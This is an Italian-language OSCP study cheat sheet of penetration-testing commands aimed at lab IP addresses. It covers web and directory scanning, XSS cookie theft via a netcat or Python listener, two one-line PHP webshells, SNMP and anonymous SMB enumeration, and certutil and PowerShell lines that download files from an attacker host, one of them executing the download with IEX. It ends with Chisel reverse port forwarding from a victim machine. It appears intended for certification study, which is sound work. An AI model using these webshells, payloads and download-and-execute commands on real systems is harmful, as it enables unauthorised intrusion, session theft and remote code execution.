
Guida allo studio OSCP
Guida allo Studio OSCP
Scansione con Nikto:
nikto -h http://10.10.10.1
Individuazione delle directory con diversi strumenti:
DIRB
dirb http://10.10.10.1
Gobuster
gobuster dir -u http://10.129.155.74:3000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x aspx
Payload XSS: Cheatsheet: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection
Test di base dei moduli XSS con listener netcat o server web python
Cross Site Scripting per scaricare cookie in base64. Assicurarsi di codificare l'URL in burp con ctrl + u
Riferimento: https://sushant747.gitbooks.io/total-oscp-guide/content/webshell.html
Semplice webshell PHP per l'esecuzione di comandi
<?php system($_REQUEST ['cmd']) ?>
<?php system($_GET['cmd']); ?>
Porta 161 UDP
snmpwalk -c public -v2c 10.129.213.210
snmp-check 10.129.213.210
crackmapexec smb 10.129.70.254
Rilevamento delle condivisioni anonime aperte
smbclient -L //10.129.70.254
Autenticazione nulla
smbclient -N -L //10.129.70.254
Certutil:
certutil.exe -urlcache -split -f http://7-zip.org/a/7z1604-x64.exe 7zip.exe
PowerShell:
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.11.0.4/wget.exe','C:\Users\offsec\Desktop\wget.exe')"
powershell.exe "IEX(New-Object Net.WebClient).downloadString('http://10.11.0.4/nc.exe')"
Utilizzo di Chisel:
Esempio di inoltro di porte per rendere disponibile la porta 910 sulla macchina Kali
sulla macchina vittima configurare l'inoltro di porte
chisel.exe client 10.10.16.10:5555 R:910:127.0.0.1:910
Sulla macchina Kali di attacco impostare un listener inverso per l'inoltro di porte con chisel
./chisel server --port 5555 --reverse